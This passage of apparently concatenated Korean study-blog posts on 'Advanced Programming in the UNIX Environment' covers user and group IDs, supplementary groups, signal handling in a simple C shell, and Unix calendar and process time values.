- 마찬가지로 로그인 이름이 할당될때 시스템 관리자에 의해 할당된다.
- 보통 프로젝트나 부서별로 사용자들을 엮기 위해 사용된다.
- 파일과 같은 자원의 공유를 가능하게 한다.
- 그룹별로 권한을 설정 할 수 있다.
- group의 이름과 아이디를 매칭해둔 그룹파일도 있다.
	- 보통 /etc/group 이다.

디스크에있는 **모든 파일에 대해 시스템은 파일 주인의 uid와 gid에 대해 저장하고있다.**
- 이것들을 저장하는데는 4바이트밖에 들지 않는다.(각각 2바이트 정수)

## 예제
**실행시킨 사용자의 uid와 gid를 출력시키는 C코드**
```c
#include "apue.h"

int main(void) {
	printf("uid = %d, gid = %d", getuid(), getgid());
	exit(0);
}
```

## Supplementary Group IDs
- 한 유저는 16개의 그룹에 속할수 있다.
	- 그런데 아까 유저의 group은 password 파일에 저장된다고 했다. - 이를 real gid라고 한다.
- /etc/group 안에 password에 적혀있는 유저가 속한 그룹 말고, 다른 그룹의 정보가 들어가있다. - 이게 supplementary group id이다.

---

## File: _posts/2019-9-29-apue64.md

---
layout: post
title: Advanced Programming in the UNIX Environment - Signal, Time Value
date: 2019-9-30 17:47:9 +0900
categories: [unix, operating_system]
---

# 시그널
**특정 상황이 일어났음을 프로세스에게 알리는데 사용되는 방법**이다.
예를들어 한 프로세스가 0으로 나눠진다면, SIGFPE(부동소수점 예외상황)이라는 시그널이 프로세스에게 보내진다.

프로세스가 시그널을 받았다면, 다음의 세개의 옵션으로 상황을 대처 할 수 있다.
1. 시그널을 무시한다.
	- 물론 하드웨어 예외상황을 나타내는 시그널에서는 권장되지 않는다.
2. 기본값으로 설정된 행동이 실행되도록한다.
	- 아까 예를들었던 SIGFPE의 경우 기본값으로는 프로세스를 종료시킨다.
3. 시그널이 발생했을때 호출되는 함수를 제공한다.
	- 이 방법을 통해서 프로그래머는 언제 시그널이 발생했는지 알 수 있고 해당 시그널을 직접 다룰 수 있다.

## 예제
만약 프로그램을 실행시키고 인터럽트키를 누르게된다면, 해당 인터럽트인 SIGINT의 기본 실행값이 프로세스를 종료하는것이기에 프로세스가 종료된다.
**프로세스가 커널에게 다른 작업을 하겠다고 전달하지 않아서, 기본작업이 실행되는것이다.**
그래서 이번에는 방법 3의 방법을 이용해서 저번에 만들었던 간이셸 소스코드에 몇가지 수정사항을 만들어보겠다.

시그널을 코드에서 다루는 법은 signal 함수를 사용하는것인데 그 사용법은 다음과 같다.
```c
signal(시그널번호, 시그널_다룰_핸들러_함수);
```
여기서 핸들러함수는 인자값으로 포인터함수를 받는것이기 때문에 그냥 함수의 이름만 넘겨주면된다.

아무튼, 간이셸 소스코드에 인터럽트가 발생했으면 그냥 "interrupt" 를 출력하고 다시 원래 그랬던듯 셸로 돌아오는 수정사항을 만들어보겠다.


```c
#include "apue.h"
#include <sys/wait.h>

static void sig_int(int);

int main(void) {
	char buf[MAXLINE];
	pid_t pid;
	int status;

	if(signal(SIGINT, sig_int) == SIG_ERR) //signal 함수에 SIGINT
		err_sys("signal error");

	printf("%% ");
	while (fgets(buf, MAXLINE, stdin) != NULL) {
		if(buf[strlen(buf) - 1] == '\n') // 끝자리가 엔터면
			buf[strlen(buf) - 1] = 0; // 엔터까지 명령어로 실행시키면 안되니까 null 로 만든다

		if((pid = fork()) < 0)
			err_sys("fork error");
		else if (pid == 0) { /* child */
			execlp(buf, buf, (char *)0);
			err_ret("couldn't execute: %s", buf);
			exit(127);
		}
		/* parent */
		if ((pid = waitpid(pid, &status, 0)) < 0)
			err_sys("waitpid error");
		printf("%% ");
	}
	exit(0);
}

static void sig_int(int signo){
	printf("interrupt\n%% "); // "interrupt" 출력하고 원래 그랬던듯 셸로 돌아온다.
}
```

# 시간 값
역사적으로 유닉스 시스템은 두개의 시간값을 유지해왔다.
1. 캘린더 시간.
	- epoch (1970년 1월 1일 00:00:00) 으로부터의 시간을 세는 기법.
	- 파일이 수정되었다거나 하는 내용을 기록할때 사용된다.
2. 프로세스 시간
	- CPU시간이라고도 불리는 이 시간법은 프로세스에 의해 CPU가 사용된 시간을 측정한다.
	- clock tick에 의해 측정된다.(초당 50이나 60, 혹은 100번 틱한다.)

그래서 한 프로세스의 실행시간을 측정할 때, 유닉스 시스템은 다음의 세가지 값을 프로세스를 위해 유지한다.
1. Clock 시간
- wall clock time이라고도 불리는 이 시간법은 프로세스가 실행을 위해 걸린시간을 가리킨다.
- 시스템에 의해 돌아가는 다른 프로세스의 개수에 의존한다.
2. 사용자의 CPU시간
- 사용자의 명령에 관련한 시간을 말한다.
3. 시스템 CPU시간
- 커널이 프로세스를 대신하여 실행한 명령에 관련한 시간을 말한다.
read나 write처럼 시스템 서비스를 호출하는 함수를 호출하면 커널에서 소요된 시간은 프로세스에 청구된다.(추가 된다.)
그러니까 read를 호출하고 해당 작업이 끝나면 (사용자의 CPU시간) += 시스템 CPU시간이 되는것이다.

유저의 CPU시간과 시스템 CPU시간의 합은 CPu 시간이라고 불린다.

한 프로세스에 관해서, 위에서 말한 세가지의 시간값을 알아내는 방법은 매우 쉽다.
```bash
time
```
명령어를 실행시키면된다.